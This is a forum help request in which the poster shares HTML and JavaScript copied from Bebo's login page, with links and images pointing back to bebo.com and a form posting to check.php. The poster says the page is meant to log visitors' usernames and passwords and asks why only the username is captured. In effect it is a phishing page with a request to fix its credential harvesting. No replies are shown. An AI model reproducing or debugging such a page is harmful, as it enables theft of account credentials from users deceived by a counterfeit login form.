PHP Logging Error


Posted on 16th Feb 2014 07:03 pm by admin

When running the script on website it doesn't copy both input boxes, Only the user and not the password, Any help would be great.. Heres the code, It's suppose to log the username and the password, but only the username comes up :|

Code: [Select]

<!-- Begin Login Form -->

<div id="login-box">
<a href="http://bebo.com/LostPassword.jsp" class="lost-password">Lost Password</a>
<h2>Login</h2>

<form id="login-form" action="check.php" method="post">
<table width="100%" border="0" cellpadding="0" cellspacing="0">
<tbody>

<tr>
<td><input type="text" id="username" name="EmailUsername" value="Email or Username" class="field" /></td>
<td>
<input type="text" id="passwordHolder" name="PasswordHolder" value="Password" class="field" />
<input type="password" id="password" name="Password" value="" class="field" style="display:none;" />
</td>
</tr>
<tr>
<td colspan="2" id="remember-field">

<input type="image" id="login-button" src="http://s.bebo.com/img/page/login-btn.png" alt="Login" name="SignIn" value="Sign In" />
<input type="checkbox" id="RememberMe" name="RememberMe" value="Y" />
<label for="RememberMe">Automagically for 2 weeks</label>
</td>
</tr>
</tbody>
</table>
</form>

<!-- form label/focus script -->
<script language="javascript">
if($defined($('username'))) { //not logged in
emptyUsernameText = $('username').value;

$('username').addEvent('focus', function(event) {
if(emptyUsernameText==this.value)
this.value = "";
});
$('username').addEvent('blur', function(event) {
if(this.value.trim()=="")
this.value = emptyUsernameText;
});

$('passwordHolder').addEvent('focus',function(event) {
this.setStyle('display','none');
$('password').setStyle('display','inline');
$('password').focus();
});

$('password').addEvent('blur',function(event) {
if(this.value.trim() == "") {
this.setStyle('display','none');
$('passwordHolder').setStyle('display','inline');
}
});
}
</script>

<div id="login-links">
<span id="more-info"></span>
<span id="sign-up"><a href="http://bebo.com/InviteJoin.jsp?Member=N">SIGN UP</a></span>
</div>
</div>
<!-- End Login Form -->

No comments posted yet

Your Answer:

Login to answer
184 Like 6 Dislike
Previous forums Next forums
Other forums

what business processes?
Hi,

A general question. What business processes (like OTC - Order to Cach, P2P, R2R etc)

Session variable help
I'm having a very troubling issue. Maybe I'm just looking over something but I have looked at the co

generating random codes
Hi guys n gals,

I have a requirement to generate 250,000 unique codes...

These codes a

php ajax - two drop down list with a submit button
i have created a form with 2 drop-down list and a submit button. I would like to know how to pass th

MySQL noob question
hi guys

I have a simple mysql table set up, along the lines of

Col 1 - Col 2 - Date_l

Filename and Line Number Custom Error
I have a class, with a method that accepts 2 parameters. I would like to output error messages.

I am stumped
OK. Here is what I am trying to do. I have the conditions set, and if the conditions are met, I want

FAGL_FC_TRANSLATION FAS52 New GL ECC 6.0
Hello,

The new program for Translating GL Balances (FAS 52) gives the option to use diffe

Matchcode in ALV change header column
Hello everyone,

I am working in an SAP system that is currently in upgrade and conversion

Tree Menu
Hi guys,

Can anyone help me making a tree navigation system? I have a site where I'm allowin

Sign up to write
Sign up now if you have flare of writing..
Login   |   Register
Follow Us
Indyaspeak @ Facebook Indyaspeak @ Twitter Indyaspeak @ Pinterest RSS



Play Free Quiz and Win Cash